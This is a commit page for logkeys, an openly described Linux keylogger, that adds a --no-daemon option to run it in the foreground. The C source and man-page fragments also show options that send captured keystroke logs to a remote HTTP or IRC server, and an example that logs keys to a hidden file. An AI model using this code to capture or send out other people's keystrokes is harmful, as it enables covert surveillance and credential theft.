Commit bdfa78af authored by kernc's avatar kernc Committed by GitHub

Merge pull request #155 from sateler/run_in_foreground_option

Added flag to run in foreground, no daemon (--no-daemon switch)
parents bf02fa12 6f50959e
...@@ -7,6 +7,8 @@ logkeys \- a GNU/Linux keylogger that works! ...@@ -7,6 +7,8 @@ logkeys \- a GNU/Linux keylogger that works!
[\fB--no-func-keys\fR] [\fB--no-timestamps\fR] [\fB--no-func-keys\fR] [\fB--no-timestamps\fR]
.br .br
[\fB--post-http=\fIURL\fR] [\fB--post-size=\fISIZE\fR] [\fB--post-http=\fIURL\fR] [\fB--post-size=\fISIZE\fR]
.br
[\fB--no-daemon\fR]
.br .br
.B logkeys \fB-k\fR .B logkeys \fB-k\fR
.br .br
...@@ -133,6 +135,11 @@ by a (PHP) script. ...@@ -133,6 +135,11 @@ by a (PHP) script.
The file is sent with header \fIContent-Type: multipart/form-data\fR as file, so it The file is sent with header \fIContent-Type: multipart/form-data\fR as file, so it
is accessible in PHP via $_FILES['file'] variable. is accessible in PHP via $_FILES['file'] variable.
.TP
\fB-\-no-daemon\fR
When this option is set, logkeys runs in the foreground.
Useful when printing output to stdout.
.SH FILES .SH FILES
.TP .TP
\fB/var/log/logkeys.log\fR \fB/var/log/logkeys.log\fR
......
...@@ -33,6 +33,7 @@ struct arguments ...@@ -33,6 +33,7 @@ struct arguments
#define FLAG_POST_HTTP 0x8 // post log to remote HTTP server, --post-http switch #define FLAG_POST_HTTP 0x8 // post log to remote HTTP server, --post-http switch
#define FLAG_POST_IRC 0x10 // post log to remote IRC server, --post-irc switch #define FLAG_POST_IRC 0x10 // post log to remote IRC server, --post-irc switch
#define FLAG_POST_SIZE 0x20 // post log to remote HTTP or IRC server when log of size optarg, --post-size #define FLAG_POST_SIZE 0x20 // post log to remote HTTP or IRC server when log of size optarg, --post-size
#define FLAG_NO_DAEMON 0x40 // don't daemonize process, stay in foreground, --no-daemon switch
} args = {0}; // default all args to 0x0 or "" } args = {0}; // default all args to 0x0 or ""
...@@ -54,6 +55,7 @@ void process_command_line_arguments(int argc, char **argv) ...@@ -54,6 +55,7 @@ void process_command_line_arguments(int argc, char **argv)
{"post-http", required_argument, &flags, FLAG_POST_HTTP}, {"post-http", required_argument, &flags, FLAG_POST_HTTP},
{"post-irc", required_argument, &flags, FLAG_POST_IRC}, {"post-irc", required_argument, &flags, FLAG_POST_IRC},
{"post-size", required_argument, &flags, FLAG_POST_SIZE}, {"post-size", required_argument, &flags, FLAG_POST_SIZE},
{"no-daemon", no_argument, &flags, FLAG_NO_DAEMON},
{0} {0}
}; };
......
...@@ -422,12 +422,14 @@ int main(int argc, char **argv) ...@@ -422,12 +422,14 @@ int main(int argc, char **argv)
set_signal_handling(); set_signal_handling();
if (!(args.flags & FLAG_NO_DAEMON)) {
int nochdir = 0; int nochdir = 0;
if (args.logfile[0] != '/') if (args.logfile[0] != '/')
nochdir = 1; // don't chdir (logfile specified with relative path) nochdir = 1; // don't chdir (logfile specified with relative path)
int noclose = 1; // don't close streams (stderr used) int noclose = 1; // don't close streams (stderr used)
if (daemon(nochdir, noclose) == -1) // become daemon if (daemon(nochdir, noclose) == -1) // become daemon
error(EXIT_FAILURE, errno, "Failed to become daemon"); error(EXIT_FAILURE, errno, "Failed to become daemon");
}
close(STDIN_FILENO); close(STDIN_FILENO);
// leave stderr open // leave stderr open
if (args.logfile != "-") { if (args.logfile != "-") {
...@@ -460,7 +462,9 @@ int main(int argc, char **argv) ...@@ -460,7 +462,9 @@ int main(int argc, char **argv)
// now we need those privileges back in order to create system-wide PID_FILE // now we need those privileges back in order to create system-wide PID_FILE
seteuid(0); setegid(0); seteuid(0); setegid(0);
if (!(args.flags & FLAG_NO_DAEMON)) {
create_PID_file(); create_PID_file();
}
// now we've got everything we need, finally drop privileges by becoming 'nobody' // now we've got everything we need, finally drop privileges by becoming 'nobody'
//setegid(65534); seteuid(65534); // commented-out, I forgot why xD //setegid(65534); seteuid(65534); // commented-out, I forgot why xD
......
...@@ -30,6 +30,7 @@ void usage() ...@@ -30,6 +30,7 @@ void usage()
" --post-http=URL POST log to URL as multipart/form-data file\n" " --post-http=URL POST log to URL as multipart/form-data file\n"
//" --post-irc=FORMAT FORMAT is nick_or_channel@server:port\n" //" --post-irc=FORMAT FORMAT is nick_or_channel@server:port\n"
" --post-size=SIZE post log file when size equals SIZE [500k]\n" " --post-size=SIZE post log file when size equals SIZE [500k]\n"
" --no-daemon run in foreground\n"
"\n" "\n"
"Examples: logkeys -s -m mylang.map -o ~/.secret-keys.log\n" "Examples: logkeys -s -m mylang.map -o ~/.secret-keys.log\n"
" logkeys -s -d event6\n" " logkeys -s -d event6\n"
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment